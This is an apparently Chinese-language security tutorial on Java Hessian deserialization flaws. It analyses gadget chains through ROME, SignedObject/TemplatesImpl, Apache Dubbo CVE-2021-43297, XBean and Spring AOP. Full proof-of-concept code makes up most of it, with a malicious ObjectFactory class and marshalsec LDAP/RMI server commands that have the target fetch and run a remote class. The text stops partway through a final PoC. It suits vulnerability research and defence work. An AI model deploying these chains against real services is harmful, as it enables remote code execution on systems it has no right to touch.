Hessian反序列化

Hessian是一个基于RPC的高性能二进制远程传输协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现,并且Hessian一般通过Web Service提供服务。在Java中,Hessian的使用方法非常简单,它使用Java语言接口定义了远程对象,并通过序列化和反序列化将对象转为Hessian二进制格式进行传输。

环境配置:

jdk 8u66

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
</dependencies>

简单使用Hessian进行序列化与反序列化

Person类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import java.io.Serializable;

public class Person implements Serializable {
public String name;
public int age;

public int getAge() {
return age;
}

public String getName() {
return name;
}

public void setAge(int age) {
this.age = age;
}

public void setName(String name) {
this.name = name;
}
}

测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;

public class Main implements Serializable {
public static void main(String[] args) throws Exception {
Person p = new Person();
p.setAge(20);
p.setName("Infernity");
byte[] b = Hessian2_serialize(p);
System.out.println(new String(b));
System.out.println(Hessian2_unserialize(b));
}

//hessian2依赖的序列化
public static byte[] Hessian2_serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}

//hessian2依赖的反序列化
public static Object Hessian2_unserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
}

反序列化链子分析

Hessian反序列化漏洞的关键出在HessianInput::readObject方法上

HessianInput_readObject

可以看到该方法读取了序列化结果的第一个byte,而由于Hessian会将序列化的结果处理成一个Map,所以序列化结果的第一个byte总为M(ASCII为77)

2

3

4

值得注意的是,把serialize和unserialize都换成hessian2的依赖,虽然第一个字节不是77了,但是依然能进到SerializerFactory::readMap方法,跟进readMap方法。

SerializerFactory_readMap

通过getDeserializer()来获取一个deserializer,跟进getDeserializer方法

getDeserializer

在生成deserializer后,java会创建一个HashMap作为缓存,并将我们需要反序列化的对象作为key放入HashMap中。对,使用了HashMap.put方法,也就是说这里可以调任意类的hashCode方法。

那就可以直接结合ROME原生链来打JDNI反序列化了。

LDAP打法:

1、写好一个要注册的Exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.io.Serializable;
import java.util.Hashtable;

public class Exploit implements ObjectFactory, Serializable {
public Exploit() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}

public static void main(String[] args) {
Exploit exploit = new Exploit();
}
}

然后把这个类构建成.class文件,在构建目录运行:

1
python3 -m http.server 8000

开启一个web目录访问服务。

2、利用marshalsec开启一个LDAPRefServer

工具下载地址:https://github.com/RandomRobbieBF/marshalsec-jar

使用jdk8,运行:

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit 1389

3、运行poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Main implements Serializable {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:1389/Exploit";
jdbcRowSet.setDataSourceName(url);

ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
//手动生成HashMap,防止提前调用hashcode()
HashMap hashMap = makeMap(equalsBean,"114514");

byte[] s = Hessian_serialize(hashMap);
Hessian_unserialize(s);
}

//hessian依赖的序列化
public static byte[] Hessian_serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(baos);
hessianOutput.writeObject(o);
hessianOutput.flush();
return baos.toByteArray();
}

//hessian依赖的反序列化
public static Object Hessian_unserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
HessianInput hessianInput = new HessianInput(bais);
Object o = hessianInput.readObject();
return o;
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
}

ldap

RMI打法:

第一步跟上面的一样。

2、写一个RMIServer并运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
System.out.println("Java RMI registry created. port on 1099");
Reference reference = new Reference("Exploit", "Exploit", "http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit", referenceWrapper);
}
}

3、把刚刚poc里的url改成“rmi://127.0.0.1:1099/Exploit”并运行

rmi

Hessian2+SignedObject二次反序列化

JNDI需要出网才能利用,所以通常被认为限制很高,因此还需要找无需出网的利用方式。或许你还记得ROME中的TemplatesImpl利用链,其能够加载任意类,进而任意代码执行,下面我们来尝试构造。

1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String[] args) throws Exception {
byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);

ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
//手动生成HashMap,防止提前调用hashcode()
HashMap hashMap = makeMap(equalsBean,"114514");

byte[] s = Hessian2_serialize(hashMap);
Hessian2_unserialize(s);
}

运行发现并没有弹计算器,这里其实是由于TemplatesImpl类中被transient修饰的_tfactory属性无法被序列化的(这也是这个修饰符本来的作用),进而导致TemplatesImpl类无法初始化。

transient

那为什么之前用java原生反序列化不会出现这个问题呢?

在使用Java原生的反序列化时,如果被反序列化的类重写了readObject(),那么Java就会通过反射来调用重写的readObject()

5

来看看TemplatesImpl::readObject()

TemplatesImpl_readObject

可以看到这里手动new了一个TransformerFactoryImpl类赋值给_tfactory,这样就解决了_tfactory无法被序列化的情况。

构造二次反序列化

既然我们无法通过Hessian2Input.readObject()来反序列化TemplatesImpl类,那么我们能不能找到一个能够反序列化任意类的类呢?

其中一个常见的方式是使用java.security.SignedObject进行二次反序列化。SignedObject类的构造函数能够序列化一个类并且将其存储到属性content中。

SignedObject

在其getObject方法中能够将其反序列化出来,并且该方法还是getter,可以被ROME链调用,简直完美。

getObject

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;

public class Main implements Serializable {
public static void main(String[] args) throws Exception {
byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);

ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
//手动生成HashMap,防止提前调用hashcode()
HashMap hashMap = makeMap(equalsBean,"114514");

//二次反序列化
SignedObject signedObject = second_serialize(hashMap);

ToStringBean toStringBean2 = new ToStringBean(SignedObject.class,signedObject);
EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class,toStringBean2);
HashMap hashMap2 = makeMap(equalsBean2,"114514");

byte[] s = Hessian2_serialize(hashMap2);
Hessian2_unserialize(s);
}

public static SignedObject second_serialize(Object o) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException {
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA"));
return signedObject;
}

public static Object getTemplates(byte[] bytes) throws Exception {
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "Infernity");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}

//hessian依赖的序列化
public static byte[] Hessian2_serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}

//hessian依赖的反序列化
public static Object Hessian2_unserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
}

6

Apache Dubbo Hessian2异常处理反序列化漏洞(CVE-2021-43297)

字符串和对象拼接导致隐式触发了该对象的toString方法, 从而引发后续一系列的利用方式。

问题主要出在Hessian2Input::expect方法:

Hessian2Input_expect

我们看看哪里调用了expect方法:

7

有很多,随便找一个,我这里以readString方法举例。

readString

只要tag的值不满足以上所有的case情况,那么就会进入expect函数。

再来看看哪里调用了readString方法,在readObjectDefinition方法中。

readObjectDefinition

而在Hessian2Input::readObject方法中读取tag,当tag为“C”也就是67的时候就会调用readObjectDefinition方法。

readObject

所以,我们要让tag为67(C的ASCII码),可以给序列化得到的bytes数组前加一个67

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;

public class Main implements Serializable {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:1389/Exploit";
jdbcRowSet.setDataSourceName(url);

ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet); //只留下toString利用点

byte[] payload = Hessian2_serialize(toStringBean);
byte[] re_payload = new byte[payload.length + 1];
System.arraycopy(new byte[]{67}, 0, re_payload, 0, 1); //第一个byte为67
System.arraycopy(payload, 0, re_payload, 1, payload.length); //后面的内容是正常payload

Hessian2_unserialize(re_payload);
}

//hessian依赖的序列化
public static byte[] Hessian2_serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}

//hessian依赖的反序列化
public static Object Hessian2_unserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
}

toString

XBean链

依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.5</version>
</dependency>

链子寻找

我们还是先利用XString来触发任意toString,来看到ContextUtil.ReadOnlyBinding类的toString方法,

ReadOnlyBinding类继承了Binding类,它没有重写toString方法,所以来看到Binding类的toString方法。

XBeantoString

可以看到调用了ReadOnlyBinding.getObject方法,跟进。

ReadOnlyBinding_getObject

我们跟进静态resolve方法。

resolve

可以看到该方法调用 NamingManager的getObjectInstance方法,后续触发的逻辑就跟Resin反序列化的后面一致了,从远程加载恶意类字节码。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.apache.xbean.naming.context.ContextUtil;
import org.apache.xbean.naming.context.WritableContext;

import javax.naming.Context;
import javax.naming.Reference;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws Exception {
Reference refObj = new Reference("Exploit","Exploit","http://localhost:8000/");

Context context = new WritableContext(); //随便获取一个public的context对象
ContextUtil.ReadOnlyBinding rob = new ContextUtil.ReadOnlyBinding("Infernity",refObj,context);
XString xString = new XString("Infernity");

Object obj = HashMap_to_anyequals_to_anytoString(xString,rob);

byte[] payload = Hessian2_serialize(obj);
Hessian2_unserialize(payload);
}

public static Object HashMap_to_anyequals_to_anytoString(Object anyobj_equals,Object anyobj_toString) throws Exception{
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
// 这里的顺序很重要,不然在调用equals方法时可能调用的是JSONArray.equals(XString)
hashMap1.put("yy", anyobj_toString);
hashMap1.put("zZ", anyobj_equals);
hashMap2.put("yy", anyobj_equals);
hashMap2.put("zZ", anyobj_toString);

HashMap map = makeMap(hashMap1, hashMap2);
return map;
}

//hashmap的put实际上就是,防止提前调用hashcode()
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> map = new HashMap<>();
// 这里是在通过反射添加map的元素,而非put添加元素,因为put添加元素会导致在put的时候就会触发RCE,
// 一方面会导致报错异常退出,代码走不到序列化那里;另一方面如果是命令执行是反弹shell,还可能会导致反弹的是自己的shell而非受害者的shell
setValue(map, "size", 2); //设置size为2,就代表着有两组
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(map, "table", tbl);
return map;
}

//反射改值
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

//hessian依赖的序列化
public static byte[] Hessian2_serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}

//hessian依赖的反序列化
public static Object Hessian2_unserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
}

8

Spring AOP链

依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.0.0.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>4.1.3.RELEASE</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.6.10</version>
</dependency>

链子寻找I

这条链的触发点在于 AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder类的 toString 方法,调用 advisor对象的 getOrder 方法。

PartiallyComparableAdvisorHolder_toString

此时就需要找同时实现了 AdvisorOrdered 接口的类,于是找到了 AspectJPointcutAdvisor 类。

getOrder

这个类的 getOrder 方法调用 AbstractAspectJAdvice 类的 getOrder 方法。

getObject2

继续跟进,

getObject3

又调用了AspectInstanceFactory类的getOrder方法。

继续找 AspectInstanceFactory 的子类看有没有可以触发的点,找到了 BeanFactoryAspectInstanceFactory,其 getOrder 方法调用 beanFactory 的 getType 方法。

getObject4

继续找有什么类继承了BeanFactory接口,并且有getType方法可以被利用的。

在SimpleJndiBeanFactory 类的getType方法中,我们一直跟进:

getType

doGetType

doGetSingleton

他的的 doGetType 方法调用 doGetSingleton 方法执行 JNDI 查询,组成了完整的利用链。

注意

1、在最后的SimpleJndiBeanFactory类的doGetType方法中,我们需要进入if,这里有一个isSingleton方法判断,进去看看。

9

10

11

这里判断shareableResources属性中是否包含我们传入的URL字符串,所以获取到SimpleJndiBeanFactory对象后,需要调用其setShareableResources方法,把恶意url添加进shareableResources属性。

1
2
SimpleJndiBeanFactory beanFactory = new SimpleJndiBeanFactory();
beanFactory.setShareableResources(url);

2、AspectJPointcutAdvisor类的构造方法是公有的,我本来准备直接通过new来获取AspectJPointcutAdvisor对象,但是下面的advice.buildSafePointcut方法会报错,所以这里还是老老实实通过createWithoutConstructor来构造吧。

AspectJPointcutAdvisor

3、马的这链子类名都长得差不多,看的我晕头转向的。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.apache.commons.logging.impl.NoOpLog;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectInstanceFactory;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.*;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws Exception {
String url = "ldap://127.0.0.1:1389/Exploit";

//获取SimpleJndiBeanFactory对象
SimpleJndiBeanFactory beanFactory = new SimpleJndiBeanFactory();
beanFactory.setShareableResources(url); //修改属性,满足if的需要


//获取BeanFactoryAspectInstanceFactory的对象,把beanFactory属性赋值为beanFactory对象,把name属性赋值为refObj
AspectInstanceFactory instanceFactory = createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
setFieldValue(instanceFactory, "beanFactory", beanFactory);
setFieldValue(instanceFactory, "name", url);


//AbstractAspectJAdvice是抽象类,AspectJAroundAdvice继承了这个类,可以获取它的对象。
//获取AspectJAroundAdvice的对象,把aspectInstanceFactory属性赋值为AspectInstanceFactory对象
AbstractAspectJAdvice advice = createWithoutConstructor(AspectJAroundAdvice.class);
setFieldValue(advice,"aspectInstanceFactory",instanceFactory);


//获取AspectJPointcutAdvisor的对象,把advice属性赋值为AbstractAspectJAdvice对象
AspectJPointcutAdvisor advisor = createWithoutConstructor(AspectJPointcutAdvisor.class);
setFieldValue(advisor,"advice",advice);


//获取PartiallyComparableAdvisorHolder的对象,把advisor属性赋值为AspectJPointcutAdvisor的对象
Class<?> PCAH = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder"); //类中的类用$
Object pcah = createWithoutConstructor(PCAH);
setFieldValue(pcah,"advisor",advisor);

Object obj = HashMap_to_anyequals_to_anytoString(new XString("Infernity"),pcah);

byte[] payload = Hessian2_serialize(obj);
Hessian2_unserialize(payload);
}

//设置已实例化类中的值
public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if (field != null)
field.setAccessible(true);
else if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);

return field;
} catch (NoSuchFieldException e) {
if (!clazz.getSuperclass().equals(Object.class)) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}

public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}


public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}


public static Object HashMap_to_anyequals_to_anytoString(Object anyobj_equals,Object anyobj_toString) throws Exception{
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
// 这里的顺序很重要,不然在调用equals方法时可能调用的是JSONArray.equals(XString)
hashMap1.put("yy", anyobj_toString);
hashMap1.put("zZ", anyobj_equals);
hashMap2.put("yy", anyobj_equals);
hashMap2.put("zZ", anyobj_toString);

HashMap map = makeMap(hashMap1, hashMap2);
return map;
}

//hashmap的put实际上就是,防止提前调用hashcode()
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> map = new HashMap<>();
// 这里是在通过反射添加map的元素,而非put添加元素,因为put添加元素会导致在put的时候就会触发RCE,
// 一方面会导致报错异常退出,代码走不到序列化那里;另一方面如果是命令执行是反弹shell,还可能会导致反弹的是自己的shell而非受害者的shell
setValue(map, "size", 2); //设置size为2,就代表着有两组
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(map, "table", tbl);
return map;
}

//反射改值
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

//hessian依赖的序列化
public static byte[] Hessian2_serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}

//hessian依赖的反序列化
public static Object Hessian2_unserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
}

链子寻找II

在 marshalsec 封装对象时,使用了 HotSwappableTargetSource 封装类,其 equals 方法会调用其 target 的 equals 方法。

HotSwappableTargetSource_equals

所以链子还可以这么写

1
2
3
4
5
6
7
//Object obj = HashMap_to_anyequals_to_anytoString(new XString("Infernity"),pcah);
HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("Infernity"));
HashMap map = makeMap(v1, v2);

byte[] payload = Hessian2_serialize(map);
Hessian2_unserialize(payload);

其实并无必要。

链子寻找III

我们不用触发XString.equals,我们找找有没有其他equals方法可用的。

在AbstractPointcutAdvisor类的equals方法:

AbstractPointcutAdvisor_equals

它本类没有这个方法,但是它的子类AbstractBeanFactoryPointcutAdvisor有:

AbstractBeanFactoryPointcutAdvisor_getAdvice

这里调用了beanFactory的getBean方法,还记得我们之前用的哪个类实现了beanFactory接口吗?

是SimpleJndiBeanFactory类,我们看到它的getBean方法:

getBean

这里又进到了doGetSingleton方法,后面就跟链子I一样了。

注意

1、SimpleJndiBeanFactory.getAdvice方法有一个if

12

还记得beanFactory.isSingleton方法吗?判断adviceBeanName属性中是否包含我们传入的URL字符串,所以获取到beanFactory对象后,需要调用其setAdviceBeanName方法,把恶意url添加进adviceBeanName属性。

2、由于AbstractBeanFactoryPointcutAdvisor类是抽象类,不好获取他的对象,我们找它的子类,一共有两个,分别是DefaultBeanFactoryPointcutAdvisorBeanFactoryCacheOperationSourceAdvisor

我们随便用其中一个就行。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.jndi.support.SimpleJndiBeanFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.*;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws Exception {
String url = "ldap://127.0.0.1:1389/Exploit";

//获取SimpleJndiBeanFactory对象
SimpleJndiBeanFactory beanFactory = new SimpleJndiBeanFactory();
beanFactory.setShareableResources(url); //修改属性,满足if的需要

